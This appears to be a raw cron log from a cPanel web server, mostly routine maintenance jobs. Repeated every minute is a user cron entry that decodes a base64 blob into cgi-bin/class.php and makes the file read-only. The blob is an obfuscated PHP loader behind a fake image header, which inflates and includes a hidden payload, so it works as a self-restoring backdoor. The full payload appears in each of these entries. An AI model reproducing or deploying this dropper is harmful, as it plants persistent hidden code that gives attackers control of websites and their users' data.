Sep  8 07:40:01 server CROND[1393]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 07:40:01 server CROND[1396]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 07:40:01 server CROND[1399]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 07:41:01 server CROND[2268]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 07:41:01 server CROND[2267]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 07:41:01 server CROND[2269]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 07:42:01 server CROND[2660]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 07:42:01 server CROND[2661]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 07:42:01 server CROND[2662]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 07:42:01 server CROND[2663]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 07:43:01 server CROND[3057]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 07:43:01 server CROND[3058]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 07:43:01 server CROND[3059]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 07:44:01 server CROND[3434]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 07:44:01 server CROND[3436]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 07:44:01 server CROND[3435]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 07:45:01 server CROND[3915]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 07:45:01 server CROND[3916]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 07:45:01 server CROND[3917]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 07:45:01 server CROND[3920]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 07:45:01 server CROND[3923]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 07:45:01 server CROND[3922]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 07:45:01 server CROND[3921]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 07:46:01 server CROND[4748]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 07:46:01 server CROND[4749]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 07:46:01 server CROND[4750]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 07:47:01 server CROND[5152]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 07:47:01 server CROND[5151]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 07:47:01 server CROND[5153]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 07:48:02 server CROND[5554]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 07:48:02 server CROND[5556]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 07:48:02 server CROND[5555]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 07:49:01 server CROND[6101]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 07:49:01 server CROND[6102]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 07:49:01 server CROND[6103]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 07:50:01 server CROND[7139]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 07:50:01 server CROND[7140]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 07:50:01 server CROND[7145]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 07:50:01 server CROND[7150]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 07:50:01 server CROND[7148]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 07:50:01 server CROND[7149]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 07:50:01 server CROND[7147]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 07:50:01 server CROND[7151]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 07:50:01 server CROND[7153]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 07:51:01 server CROND[7994]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 07:51:01 server CROND[7995]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 07:51:01 server CROND[7996]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 07:52:01 server CROND[8365]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 07:52:01 server CROND[8366]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
